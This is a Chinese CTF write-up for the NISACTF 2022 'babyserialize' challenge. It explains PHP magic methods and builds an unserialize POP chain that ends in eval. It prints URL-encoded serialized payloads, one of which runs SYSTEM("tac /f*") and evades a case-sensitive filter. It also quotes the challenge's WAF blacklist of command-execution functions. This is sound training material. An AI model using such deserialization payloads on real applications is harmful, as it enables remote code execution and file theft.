[NISACTF 2022]babyserialize
[NISACTF 2022]babyserialize
|
|
先看 NISA 类的 __wakeup()
:
|
|
__wakeup()
在对象实例被反序列化时触发
如果反序列化后的 $fun
为 “show_me_flag” ,则调用 hint()
函数。代码的最下面给出关于 hint()
函数的提示:
|
|
看起来是输出一个提示,所以先去获得这个提示
编写 exp :
|
|
运行后得到 payload :O%3A4%3A%22NISA%22%3A1%3A%7Bs%3A3%3A%22fun%22%3Bs%3A12%3A%22show_me_flag%22%3B%7D
得到提示:flag is in / (flag在根目录下)
接下来就是怎么获得 flag ,需要利用 NISA 类的 @eval($this->txw4ever);
来查看 flag 的内容
本题涉及到的 PHP Magic Methods
__wakeup
:当使用unserialize
函数从字符串中还原对象时,__wakeup
方法会被调用。用于重新初始化对象,在反序列化后执行一些必要的操作
1 2 3 4 5
class MyClass { public function __wakeup() { // 在反序列化后执行的操作 } }
__call
:当调用一个不可访问方法时,__call
方法会被调用。可以用于在运行时捕获对未定义方法的调用,并采取适当的措施
1 2 3 4 5 6 7
class MyClass { public function __call($method, $args) { // $method 是被调用的方法名 // $args 是传递给方法的参数数组 // 在这里可以实现相应的逻辑 } }
__toString
:当一个对象被要求以字符串形式表示时,__toString
方法会被调用。通常用于对象实例在被直接输出或转化为字符串时的时候
1 2 3 4 5 6 7 8
class MyClass { public function __toString() { echo "This is the string representation of MyClass"; } } $obj = new MyClass(); $str = strtolower($obj); // 输出: This is the string representation of MyClass
__invoke
:当对象实例被作为一个函数调用时,__invoke
方法会被调用。允许对象的实例像函数一样被调用
1 2 3 4 5 6 7 8
class MyClass { public function __invoke($param) {// $param 是传递给函数的参数数组 echo "Object invoked with parameter: $param"; } } $obj = new MyClass(); $obj("Hello"); // 输出: Object invoked with parameter: Hello
__set
:当给不可访问属性赋值时,__set
方法会被调用。允许在属性赋值时执行一些自定义逻辑
1 2 3 4 5 6 7 8 9 10
class MyClass { private $data = []; public function __set($name, $value) { // $name 是被赋值的属性名 // $value 是要赋予属性的值 // 在这里可以实现相应的逻辑 $this->data[$name] = $value; } }
总思路:
- 要利用 NISA 类的
@eval($this->txw4ever);
来查看 flag 的内容,需要触发 NISA 类的__invoke
- 要触发 NISA 类的
__invoke
,需要将 NISA 类的实例对象当作函数调用。Ilovetxw 类的__toString
能满足这个条件 - 要触发 Ilovetxw 类的
__toString
,需要将 Ilovetxw 类的实例对象当作字符串。four 类的__set
能满足这个条件 - 要触发 four 类的
__set
,需要给 four 类的实例对象中不可访问的属性赋值。Ilovetxw 类的__call
能满足这个条件 - 要触发 Ilovetxw 类的
__call
,需要调用 Ilovetxw 类的实例对象中不可访问的方法赋值(或未定义的方法)。TianXiWei 类的__wakeup
能满足这个条件 - 要触发 TianXiWei 类的
__wakeup
,需要反序列化 TianXiWei 类的实例对象
调用链:
TianXiWei->__wakeup ==> Ilovetxw->__call ==> four->__set ==> Ilovetxw->__toString ==> NISA->__invoke
编写 exp :
|
|
得到 payload :O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22SYSTEM%28%22tac+%2Ff%2A%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3BN%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3Bs%3A9%3A%22sixsixsix%22%3B%7D
waf.php
过滤了sys
,用SYSTEM
代替system
;用cat
没被waf.php
过滤,但是没效果,不清楚原因
waf.php
的源码:
1 2 3 4 5 6 7 8 9 10 11 12
<?php function checkcheck($data){ if (preg_match("/\`|\^|\||\~|assert|\?|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk/", $data, $match)) { die('something wrong'); } } function hint(){ echo "flag is in /"; die(); } ?>
在不知道过滤内容的情况下也没法得到
waf.php
的源码,只能黑盒测试
欲将心事付瑶琴。知音少,弦断有谁听?